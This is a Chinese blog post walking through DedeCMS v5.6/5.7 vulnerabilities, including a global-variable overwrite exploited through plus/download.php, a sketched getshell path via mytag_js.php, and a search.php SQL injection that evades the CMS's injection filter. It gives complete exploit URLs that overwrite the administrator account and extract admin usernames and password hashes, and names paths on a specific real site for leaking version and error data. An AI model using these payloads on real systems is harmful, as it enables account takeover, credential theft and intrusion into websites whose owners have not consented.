dedecms的各种卡哇伊小漏洞

前情提要

前几天和峰哥一起搞网站,遇到了dedecms的模板,大神们分分秒杀的站,蛋疼的弄了两天。于是乎痛定思痛研究了一下他最近出现的漏洞。

漏洞与版本

官方网站上提供了一些以往版本的下载
http://www.dedecms.com/html/chanpinxiazai/list_3_1.html

漏洞信息的话参见SEBUG
http://sebug.net/appdir/%E7%BB%87%E6%A2%A6(DedeCms)

信息收集

这个文件中可以看到服务器版本的更新日期
http://www.hxci.com.cn/library/data/admin/ver.txt

MySQL报错信息中可能含有后台地址
http://www.hxci.com.cn/library/data/mysqli_error_trace.inc

dedecms v5.7 PHP全局变量漏洞

register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它。PHP4默认开启,PHP5以后默认关闭。
PHP变量范围
http://php.net/manual/zh/language.variables.scope.php
在dedecms v5.7中 include/dedesql.class.php 里有这么一段,虽然不知道什么意思,但是正好可以利用。
arrs1和arrs2这两个数组都没有初始化,之后arrs1作为名字arrs2作为值,放到GLOBALS[]中
而且这一段不是函数,类似于类中的静态代码段,直接会执行
if(isset($GLOBALS['arrs1']))
{
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++)
    {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++)
    {
        $v2 .= chr($arrs2[$i]);   //解码ascii
    }
    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+
}



 include/dedesql.class.php的SetQuery函数会替换数据库前缀,利用思路就是利用上面的漏洞把$GLOBALS['cfg_dbprefix']的内容换掉,这里有一点,因为上面的语句是添加$GLOBALS['cfg_dbprefix']的值,所以原来的表名前缀会保留,也就是说不用费劲的猜测表名了,构造语句的时候直接这样即可
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #
include/dedesql.class.php的SetQuery函数
function SetQuery($sql)
    {
		
        $prefix="#@__";
        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
        $this->queryString = $sql;
		echo "---------InSetQuery---------<br>";
		echo $sql."<br>";
    }
顺便说一下这些数据可的基本变量保存在data/common.inc.php,被dedesql.class.php包含,其函数Init把全局变量转存到本地,
但是SetQuery函数依然用了$GLOBALS来取变量,很是不解
function Init($pconnect=FALSE)
    {
        $this->linkID = 0;
        //$this->queryString = '';
        //$this->parameters = Array();
        $this->dbHost   =  $GLOBALS['cfg_dbhost'];
        $this->dbUser   =  $GLOBALS['cfg_dbuser'];
        $this->dbPwd    =  $GLOBALS['cfg_dbpwd'];
        $this->dbName   =  $GLOBALS['cfg_dbname'];
        $this->dbPrefix =  $GLOBALS['cfg_dbprefix'];
        $this->result["me"] = 0;
        $this->Open($pconnect);
    }
$GLOBALS的用法可以看这里
http://www.php.net/manual/zh/reserved.variables.globals.php

现在只要找一个执行SQL语句的页面就可以了,这里大神给我们找好啦
plus/download.php,这个DEDECMS中执行SQL语句有两个函数,ExecuteNoneQuery和ExecuteNoneQuery2,后者没有加安全检查,
而download.php正是用的后者,那就没什么好说的了,直接上利用语句就可以了
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

这个漏洞还有一个GETSHELL的漏洞,原理是这样,使用UPDATA语句吧dede_mytag中的内容更新(因为这个利用只可以用UPDATA语句),然后再调用这个URL
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/mytag_js.php?arcID=4
里面的语句会把数据库里的内容加入到一个文件,之后包含它。
但必须满足这个文件不存在或者已经过期,而且在写入的时候会在前后加注释符,具体不知道怎莫利用,暂且留一个坑。
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $pv = new PartView();
    $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
    if(!is_array($row))
    {
        global $myvalues;
		$myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";
    }
    else
    {
        $tagbody = '';
        if($row['timeset']==0)
        {
            $tagbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
                $tagbody = $row['expbody'];
            }
            else {
                $tagbody = $row['normbody'];
            }
        }
        $pv->SetTemplet($tagbody, 'string');
		$myvalues  = $pv->GetResult();
		echo $myvalues;
        $myvalues = str_replace('"','\"',$myvalues);
        $myvalues = str_replace("\r","\\r",$myvalues);
        $myvalues = str_replace("\n","\\n",$myvalues);
        $myvalues =  "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n";
        file_put_contents($cacheFile, $myvalues);
		echo "<br>";
		echo $myvalues;
		echo "<br>";
        /* 使用 file_put_contents替换下列代码提高执行效率
        $fp = fopen($cacheFile, 'w');
        fwrite($fp, $myvalues);
        fclose($fp);
        */
    }
	echo "---------------------------------------------<br>";
	echo '('.$myvalues.')';
	echo "---------------------------------------------<br>";
}



Search.php 注入漏洞

这个漏洞可以直接把管理员密码爆出来,比较厉害,可是构造比较复杂,具体利用在这里,根本上也是利用了dedecms的全局变量的缺陷,但是需要正面绕过防注入函数。
http://zone.wooyun.org/content/2414

dedecms的注入检查有两个阶段第一阶段是这样,eregi支持正则且不区分大小写。
{1,}代表了重复一次或者多次,[]和()代表一个分组,这个过滤还是很厉害的,只要语句中包含union|sleep|benchmark|load_file|outfile就会被过滤
	//如果是普通查询语句,直接过滤一些特殊语法
	if($querytype=='select')
	{
		$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

		//$notallow2 = "--|/\*";
		if(eregi($notallow1,$db_string))
		{
			fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
			exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
		}
	}
在search.php中有一句加入转义,会把单引号双引号和斜杠转义,在magic_quotes_gpc开启的时候PHP会自动对GET POST COOKIE进行addslashes()
$keyword = addslashes(cn_substr($keyword,30));

第二层检查,这里频繁用到这样一个正则     
'~(^|[^a-z])benchmark($|[^[a-z])~s'
波浪线的含义是这样
$reg = "/(^|[^a-z]) benchmark($|[^[a-z])/s";
preg_match($reg,$clean) !=0;
相当于
$reg = "~(^|[^a-z]) benchmark($|[^[a-z])~s";
preg_match($reg,$clean) !=0;
默认都是在//之间包含正则式的,也可以用~~代替
最后s的含义是这样
g 匹配所有可能的模式 
i 忽略大小写 
m 将串视为多行 
o 只赋值一次 
s 将串视为单行 
x 忽略模式中的空白
^ 和 $ 分别代表了文件的开始和末尾,在语句中表示benchmark在开头和末位的情况,总体意思就是在一个字符串中匹配benchmark
这里分别用了strpos 和 preg_match两种方式来过滤,我们主要需要绕过他们。
关于这个正则表达式看不懂的情况,推荐一个工具 RegexBuddy 妈妈再也不用担心我的正则表达式。
完整的过滤代码 
  //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="union detect";
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="sub select detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
        }
        else
        {
            return $db_string;
        }
    }



第二层测试,其中还真是没有union|sleep|benchmark|load_file|outfile,但是这个语句明显是一个错误语句啊,原理是使用group by random吧用户名密码爆出来。
第二层测试,它利用了过滤文件会先把引号里面的数据替换成$s$,过滤完之后在替换回来的那么一个机制,绕过了价差规则。
但是这样使用引号的话会出现,变量引号不能闭合等乱七八糟的情况,这里使用了一个技巧绕过很是巧妙。
化简一下就是这样,@代表一个变量,但是mysql查询不到@`\'`这个变量时不会报错,而是会返回一个NULL
id=111=@`\'`这一句线比较111=@`\'`得出的值再和id比较。
Select channeltype From `dede_arctype` where id=111=@`\'` UnIon seleCt 1 from `dede_admin`#

最终EXP,这是官方提供的,我觉得有个地方不合理就略作了修改。
union联合查询爆用户名密码的。
Select channeltype From `dede_arctype` where id=111=@`\\\'`
and 
(SELECT 1 FROM (select count(*),
					   concat(floor(rand(0)*2),(substring((select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),1,62)))a 
			    from information_schema.tables group by a)b
)#@`\\\'` 

group by random爆用户名密码的
http://localhost/DedeCmsV5.6-GBK-Final/uploads/plus/search.php?keyword=as&typeArr[
111%3D@`\'`+and+(
					SELECT+1+FROM+(
						select+count(*),
						concat(floor(rand(0)*2),
								(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62))
							 )a+
					from+information_schema.tables+group+by+a)b
				)%23@`\'`+]=a

最后顺便提一下group by random的原理,想了想整理到了之前SQL注入的帖子里。
benchmark函数的利用也顺带整理进去。
strpos 和 preg_match两种方式的绕过技巧准备整理,暂且留个坑。

你可能感兴趣的:(dedecms的各种卡哇伊小漏洞)